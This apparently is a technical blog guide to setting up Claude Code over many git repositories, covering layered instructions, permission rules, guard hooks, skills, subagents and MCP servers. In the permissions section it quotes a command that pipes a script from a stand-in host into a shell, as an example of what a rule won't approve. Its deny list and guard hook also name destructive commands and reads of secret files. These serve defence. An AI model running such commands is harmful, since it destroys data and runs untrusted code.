Setting up Claude Code for a multi-repo workspace
A layered CLAUDE.md, tight permissions, hooks, skills and scoped MCP servers: the setup that keeps Claude Code safe and cheap across dozens of repositories.
Claude Code is easy to love in a single repository. You run /init, get a decent CLAUDE.md, and it is productive within minutes. Point it at a workspace that holds twenty repositories, say a dozen backend services, two frontends and an infrastructure repo stitched together with git submodules, and the cracks show fast. It reads the wrong service's conventions. It burns context on files it never needed. It asks permission for git status for the fortieth time, or worse, you get tired of the prompts and approve something you should not have. This guide is for engineers and tech leads who run Claude Code across that kind of workspace, alone or with a small team, and want a setup that stays fast, safe and cheap as the number of repositories grows.
Everything below reflects the Claude Code documentation as of September 2026 (the old docs.anthropic.com/en/docs/claude-code links now redirect there). Where a detail changes often, I describe the mechanism rather than pin a flag.
The constraints I design for#
A multi-repo workspace is not a monorepo, and the difference matters for an agent:
- Many owners of truth. Each service has its own conventions, test commands and quirks. The root cannot know all of them, and it should not try.
- Context is a budget, not a bucket. Every token loaded at session start is re-sent on every turn. Prompt caching softens the cost, but a bloated context also dilutes attention: the more rules Claude holds, the less reliably it follows any single one.
- Git boundaries are real. Submodules mean separate histories, separate branches and separate pull requests. A session that forgets which repository it is committing in makes a mess.
- The blast radius includes the cloud. The same terminal has
gcloud,terraformandghon thePATH. An agent that can run shell commands can reach production unless you decide otherwise. - Parallel work. Once it works, you will want two or three sessions running at once. They must not trample each other's working trees.
The options#
There are four realistic ways to organise Claude Code over many repositories. I have used all of them.
| Approach | Context cost | Cross-repo changes | Consistency | Where it breaks |
|---|---|---|---|---|
| One session per repo, no shared root | Low | Painful: you copy context by hand | Drifts per repo | Anything touching an API contract across services |
Root session, one giant CLAUDE.md | High on every turn | Easy | Good at first | Adherence drops as the file grows; stale rules pile up |
Root session, layered CLAUDE.md plus on-demand docs, skills and subagents | Low at launch, pay as you go | Easy | Good | Needs discipline to keep layers from contradicting each other |
| Separate agent configuration per repo, orchestrated by scripts | Low | Scripted only | Depends on scripts | High maintenance; hard to use interactively |
The decision: a thin root with layers loaded on demand#
I run one session from the workspace root and let context arrive only when the work needs it. The root carries the non-negotiables that apply everywhere. Each area (services, apps, infra) carries its conventions. Each repository carries its own facts. Procedures live in skills, deep reference lives in ordinary docs that CLAUDE.md merely points to, and exploration happens in subagents so the file dumps never land in the main conversation.
This works because of how Claude Code loads instructions. Per the memory documentation, it loads CLAUDE.md and CLAUDE.local.md from the working directory and every directory above it at launch, and it discovers CLAUDE.md files in subdirectories lazily, "when Claude reads files in those subdirectories." Launch at the root and you pay only for the root file. Touch a file under services/billing-api/ and that service's CLAUDE.md, plus the one in services/, joins the conversation.
Implementation#
1. Lay out the workspace#
The root is itself a git repository that owns shared tooling, the agent configuration and the submodule pointers. A layout I would recommend to any team:
workspace/
├── CLAUDE.md # non-negotiables, under ~150 lines
├── ARCHITECTURE.md # deep docs: read on demand, never imported
├── OPERATIONS.md
├── .mcp.json # shared MCP servers (project scope)
├── .gitignore # includes .worktrees/ and CLAUDE.local.md
├── .claude/
│ ├── settings.json # shared permissions + hooks (committed)
│ ├── settings.local.json # personal overrides (never committed)
│ ├── hooks/
│ │ ├── guard-bash.sh
│ │ └── format-on-edit.sh
│ ├── skills/
│ │ ├── add-endpoint/SKILL.md
│ │ └── release-service/SKILL.md
│ └── agents/
│ └── repo-scout.md
├── services/
│ ├── CLAUDE.md # backend conventions
│ ├── billing-api/ # git submodule
│ │ └── CLAUDE.md # service facts
│ ├── notifications-worker/ # git submodule
│ └── gateway/ # git submodule
├── apps/
│ ├── CLAUDE.md # frontend conventions
│ ├── web/
│ └── admin/
└── infra/
├── CLAUDE.md # terraform conventions
└── terraform/2. Write a root CLAUDE.md that says only what is always true#
The root file is the most expensive text in the workspace because every turn carries it. The docs recommend staying under about 200 lines per file; I aim for well under that. My test for each line: would a new senior engineer need to hear this before touching any repository? If it only matters in one area, it moves down a layer. If it is a procedure, it becomes a skill.
# Workspace
Twelve backend services, two web apps and infra, as git submodules.
Each submodule is its own repo: branch, commit and open PRs *inside* it.
## Stack
- Node 22, TypeScript, pnpm (except infra/, which is Terraform only)
- Services on a managed container platform, one database per service
## Deeper docs (read when relevant, do not preload)
- ARCHITECTURE.md: data flow, service boundaries, event contracts
- OPERATIONS.md: environments, deploy pipeline, env vars
- services/CLAUDE.md, apps/CLAUDE.md, infra/CLAUDE.md load automatically
## Non-negotiables
- API contract change in services/* -> update the gateway spec in the same PR.
- Validate env vars at startup in config/env.ts; never read process.env elsewhere.
- No secrets in code or committed .env files. Secrets live in the secret manager.
- Never run terraform apply, database migrations against shared envs, or deploys.
Prepare the change and hand me the exact command.
- Before claiming done: the affected repo's tests and lint pass. Paste the output.
## Workflow
- One feature = one branch per touched repo, one PR per repo.
- Do not run a review subagent per task. One review pass per feature,
after I have tested it end to end.Two details are deliberate. The deeper docs are plain paths, not @ imports: the docs are explicit that imports load at launch and "don't reduce its context cost". A bare path lets Claude read the file when the task needs it. And the destructive-actions rule sits in CLAUDE.md and in settings and hooks, because CLAUDE.md is guidance, not enforcement.
3. Push conventions down to area and service files#
services/CLAUDE.md holds what every backend service shares: framework, error-handling style, logging rules, how to run a single test file. services/billing-api/CLAUDE.md holds facts only that service knows: its data model, the one legacy endpoint nobody may touch, the integration test that needs a local emulator. These files load only when Claude reads something beneath them, so they cost nothing during frontend work.
For rules tied to file types rather than directories, path-scoped rules in .claude/rules/ with a paths: glob in the frontmatter do the same job. I use them for cross-cutting concerns such as "all *.tf files" or "all migration files", which do not map cleanly onto one directory.
Keep one hard rule for the layers: a lower layer may add detail but never contradict a higher one. When two files disagree, Claude may pick either. Run /context from time to time to see which memory files are actually loaded, and prune.
4. Permissions: allow the boring, ask for the risky, deny the catastrophic#
Settings come in layers too. Per the settings documentation, precedence runs from managed settings (set by your organisation) through command-line flags, .claude/settings.local.json (you, this project), .claude/settings.json (everyone in the project), down to ~/.claude/settings.json (you, every project). Put team policy in the committed project file, personal conveniences in the local file, and cross-project preferences in the user file.
Rules are evaluated deny first, then ask, then allow, and Claude Code is aware of shell operators: Bash(git diff *) will not approve git diff && curl evil.sh | sh, because each subcommand must match independently.
{
"$schema": "https://json.schemastore.org/claude-code-settings.json",
"permissions": {
"allow": [
"Bash(git status)",
"Bash(git diff *)",
"Bash(git log *)",
"Bash(git -C * status)",
"Bash(pnpm test *)",
"Bash(pnpm lint *)",
"Bash(pnpm typecheck)",
"Bash(terraform fmt *)",
"Bash(terraform validate)",
"Bash(gh pr view *)",
"WebFetch(domain:code.claude.com)"
],
"ask": [
"Bash(git push *)",
"Bash(gh pr create *)",
"Bash(terraform plan *)"
],
"deny": [
"Read(.env)",
"Read(.env.*)",
"Read(**/*.pem)",
"Bash(terraform apply *)",
"Bash(terraform destroy *)",
"Bash(gcloud * delete *)"
]
},
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/guard-bash.sh",
"timeout": 10
}
]
}
],
"PostToolUse": [
{
"matcher": "Edit|Write",
"hooks": [
{
"type": "command",
"command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/format-on-edit.sh",
"timeout": 60
}
]
}
]
}
}Read(.env) is a bare filename, which follows gitignore semantics and matches at any depth, so it covers every submodule. One caveat from the docs is worth repeating: a Bash deny rule "isn't a security boundary around the program." It matches the command text Claude writes, not the same binary invoked by its full path or inside sh -c. Treat deny rules as guard rails for the common path and put real enforcement in IAM on the cloud side. For the credentials Claude runs with, see my GCP IAM least-privilege guide.
5. Hooks: enforcement that does not depend on the model remembering#
Hooks run your own commands at lifecycle events. A PreToolUse hook receives the pending tool call as JSON on stdin; exiting with code 2 blocks the call and sends stderr back to Claude as the reason. That makes it the right place for rules that must hold every time.
#!/usr/bin/env bash
# PreToolUse guard for Bash. Exit 2 blocks the call; stderr is returned to Claude.
set -euo pipefail
cmd=$(jq -r '.tool_input.command // ""')
block() {
echo "Blocked by guard-bash: $1" >&2
exit 2
}
case "$cmd" in
*"push --force"* | *"push -f "* | *"push -f") block "no force pushes; open a PR instead" ;;
*"rm -rf /"* | *"rm -rf ~"* | *'rm -rf $HOME'*) block "recursive delete outside the workspace" ;;
*"--auto-approve"*) block "auto-approved infra changes must be run by a human" ;;
esac
if grep -Eq 'git( -C [^ ]+)? push [^;&|]*\b(main|master)\b' <<<"$cmd"; then
block "push to a default branch; push a feature branch and open a PR"
fi
exit 0The PostToolUse hook formats whatever Claude just wrote, so formatting never costs a turn:
#!/usr/bin/env bash
# PostToolUse formatter. Never fails the edit: formatting is best effort.
file=$(jq -r '.tool_input.file_path // ""')
[ -f "$file" ] || exit 0
case "$file" in
*.ts | *.tsx | *.js | *.json | *.md | *.mdx | *.css)
(cd "$(dirname "$file")" && npx --no-install prettier --write "$file") >/dev/null 2>&1 || true ;;
*.tf)
terraform fmt "$file" >/dev/null 2>&1 || true ;;
esac
exit 0The cd matters in a multi-repo workspace: each submodule pins its own Prettier version, and npx --no-install resolves the binary from the nearest node_modules. Both scripts need jq and a POSIX shell; on Windows that means Git Bash. Mark them executable and commit them. Run /hooks in a session to confirm they registered.
6. Skills: turn procedures into on-demand packages#
A skill is a folder under .claude/skills/ with a SKILL.md file. Only its short description sits in context; the body loads when Claude decides the skill applies or when you type /skill-name. That is exactly where a multi-step procedure belongs, instead of padding CLAUDE.md.
---
name: add-endpoint
description: Add a new HTTP endpoint to a backend service end to end (handler, schema, tests, gateway spec, docs). Use when asked for a new route or API endpoint under services/.
argument-hint: "[service] [METHOD /path]"
allowed-tools: Bash(pnpm test *) Bash(pnpm lint *) Bash(pnpm typecheck)
---
# Add an endpoint
Target: $ARGUMENTS
1. Read `services/<service>/CLAUDE.md` and one existing route in the same
service. Match its structure; do not invent a new pattern.
2. Define request and response schemas next to the handler. Validate input
at the edge; return errors through the service's error helpers.
3. Write the handler test first, then the handler. Cover: happy path,
invalid input, unauthenticated caller, not-found.
4. Add the path to `services/gateway/paths/`. Regenerate the spec with the
gateway's generate script. Never hand-edit the generated file.
5. Run, inside the service: `pnpm typecheck`, `pnpm lint`, `pnpm test`.
Paste the summary lines.
6. Report: files changed per repo, the new contract, and any follow-ups.
Do not push or open PRs; I will ask for that separately.For skills with side effects, such as a release, add disable-model-invocation: true so only you can trigger them. You do not want Claude deciding the code "looks ready" and cutting a release.
7. Subagents: fan out exploration, keep the findings#
Questions like "which services publish to the order-events topic and what payload do they send?" require reading a dozen repositories. Done in the main session, that fills your context with file contents you will never look at again. A subagent does the reading in its own context window and returns a summary. The built-in Explore agent covers most cases; for a workspace I add a read-only scout pinned to a cheaper model:
---
name: repo-scout
description: Read-only cross-repo investigator. Use for questions that span several services or apps, such as who calls an endpoint, who publishes or consumes an event, or where a config key is read.
tools: Read, Grep, Glob
model: haiku
---
You investigate a multi-repo workspace. Each directory under services/,
apps/ and infra/ is a separate git repository.
Answer with: the direct answer first, then a table of repo, file:line and
a one-line note per finding. Quote code only when the exact text matters.
Never propose edits.Several scouts can run in parallel, one per area, which is where the time savings come from. Each subagent still bills its own tokens, so parallelism is a latency win, not a cost win.
8. MCP servers: scope them, and prefer the CLI you already have#
MCP servers come in three scopes: local (default, private to you in this project, stored in ~/.claude.json), project (shared through a committed .mcp.json, with an approval prompt for each teammate) and user (all your projects). My rule of thumb:
- Project scope for servers the whole team needs and that hold no personal credentials in the file. Environment variable expansion keeps tokens out of git.
- Local scope for anything touching data: a database server connected with a read-only role, pointed at a non-production instance.
- No MCP at all where a CLI exists. The cost docs say it plainly: tools like
ghandgcloudare "more context-efficient than MCP servers because they don't add any per-tool listing."
{
"mcpServers": {
"github": {
"type": "http",
"url": "https://api.githubcopilot.com/mcp/",
"headers": {
"Authorization": "Bearer ${GITHUB_MCP_TOKEN}"
}
}
}
}# Private to me, this project only, never committed:
claude mcp add --transport stdio db-readonly --scope local \
--env DATABASE_URL="$STAGING_READONLY_URL" -- ./tools/db-mcp-serverMCP tools appear in permissions as mcp__<server>__<tool>, so you can allow the read tools and leave writes on ask.
9. Memory that survives sessions#
Claude Code has two memory systems. CLAUDE.md is what you write. Auto memory is what Claude writes: notes about your preferences and project state in ~/.claude/projects/<project>/memory/, with a MEMORY.md index of which the first 200 lines or 25KB load every session. Topic files load only when needed.
Two things matter in a workspace. The memory directory is derived from the git repository, so launching from the root keeps one memory for the whole workspace, shared across worktrees. And the index is a budget like everything else: one line per entry, detail in topic files, stale entries deleted. When a memory stops being a note and becomes a rule, promote it into the right CLAUDE.md layer and remove it from memory.
10. Worktrees for parallel sessions, placed where the layers still load#
claude --worktree <name> starts a session in a fresh git worktree of the current repository, so two sessions can work without colliding. That is ideal for root-level work. For a single service, I create the worktree inside that service's area, not in a sibling folder:
cd services/billing-api
git worktree add ../.worktrees/billing-api--retry -b fix/retry-backoff
cd ../.worktrees/billing-api--retry && claudeThe location is the whole trick. services/.worktrees/billing-api--retry/ still has services/ and the workspace root as ancestors, so the area and root CLAUDE.md files load at launch exactly as they would in the real checkout. Put the worktree in ~/tmp and the session silently loses every rule above the service. Add .worktrees/ to the root .gitignore, and clean up with git worktree remove followed by git worktree prune when the branch merges.
11. Cost and context discipline#
Claude Code bills by tokens, and every turn re-sends the conversation. At the time of writing, Anthropic's cost guide reports an enterprise average of around $13 per developer per active day; plan pricing is on claude.com/pricing. The levers that move that number are structural, not heroic: a small root CLAUDE.md, procedures in skills, exploration in subagents on a cheaper model, /clear between unrelated tasks, and fewer review passes.
The review point deserves its own paragraph. It is tempting to wire a code-review subagent after every task in a plan. In practice the first end-to-end test of a feature almost always triggers changes, which invalidates every per-task review you just paid for. I run one review pass over the whole feature, after I have tested it and stopped asking for changes. As an illustrative example: a ten-task feature with a review per task pays for ten reviews, most of which describe code that no longer exists; one review at the end pays once and reviews what ships.
Use /context to see what is loaded and /usage to see what a session cost. If a number surprises you, the cause is almost always a long session that was never cleared or a large file read into the main conversation instead of a subagent.
Trade-offs and failure modes#
- Lazy loading cuts both ways. A service's
CLAUDE.mdloads only once Claude reads a file there. If Claude edits a service based on a grep hit without reading a file first, the service rules may not be in context. The root instruction "read one existing file in the target service before editing" is cheap insurance. - Layer drift. Three levels of instructions will eventually contradict each other. Schedule a prune;
/doctor prompt-auditcan flag conflicts and outdated references. - Deny rules are not a sandbox. They catch the commands Claude usually writes. Real protection is least-privilege credentials plus the sandbox for network and filesystem isolation.
- Hooks are code. A buggy
PreToolUsehook that exits 2 on everything bricks the session. Keep them small, test them with a piped JSON sample, and makePostToolUsehooks best effort. - Project MCP servers are shared attack surface. Anyone who can commit to
.mcp.jsoncan add a server to everyone's session. Review that file like you review CI configuration. - Submodule confusion. Claude may commit at the root when it meant the submodule. The root rule "branch, commit and open PRs inside the submodule" plus
git -C <repo>in skills removes most of it.
Checklist
- Root
CLAUDE.mdunder ~150 lines: stack, non-negotiables, pointers to deeper docs - Area and service
CLAUDE.mdfiles hold conventions and facts; none contradicts the root - Deep docs referenced by path, not
@-imported .claude/settings.jsoncommitted with allow, ask and deny lists; personal tweaks insettings.local.json.envand key files denied for Read at any depthPreToolUseguard hook for destructive commands,PostToolUseformatter, both tested- Multi-step procedures moved into
.claude/skills/, side-effecting ones withdisable-model-invocation: true - A read-only scout subagent on a cheaper model for cross-repo questions
- MCP servers scoped deliberately; CLI preferred where one exists
- Worktrees created inside the workspace tree so ancestor
CLAUDE.mdfiles still load - One review pass per feature, after the first end-to-end test
When not to do this#
If you work in one repository, skip almost all of this: /init, a short CLAUDE.md and a handful of allow rules are enough, and the layering adds maintenance for no benefit. If your organisation already enforces managed settings and a central CLAUDE.md, build on those rather than duplicating them in every workspace. And if your repositories genuinely never change together, one session per repository is simpler and cheaper than a shared root; the layered workspace earns its keep only when a single feature regularly crosses repository boundaries.
Related articles
All articles →What a Cloud Run cold start is made of, how to measure each phase, and which fixes, and which min-instances bill, actually shorten it for your service.
14 min
One validated config module per service, secrets bound at deploy time, and no fallbacks in code: a config setup that fails loudly instead of leaking quietly.
15 min
Firestore is superb at keyed reads and poor at friends-of-friends. When a graph database earns its place, and how to keep two stores honest.
15 min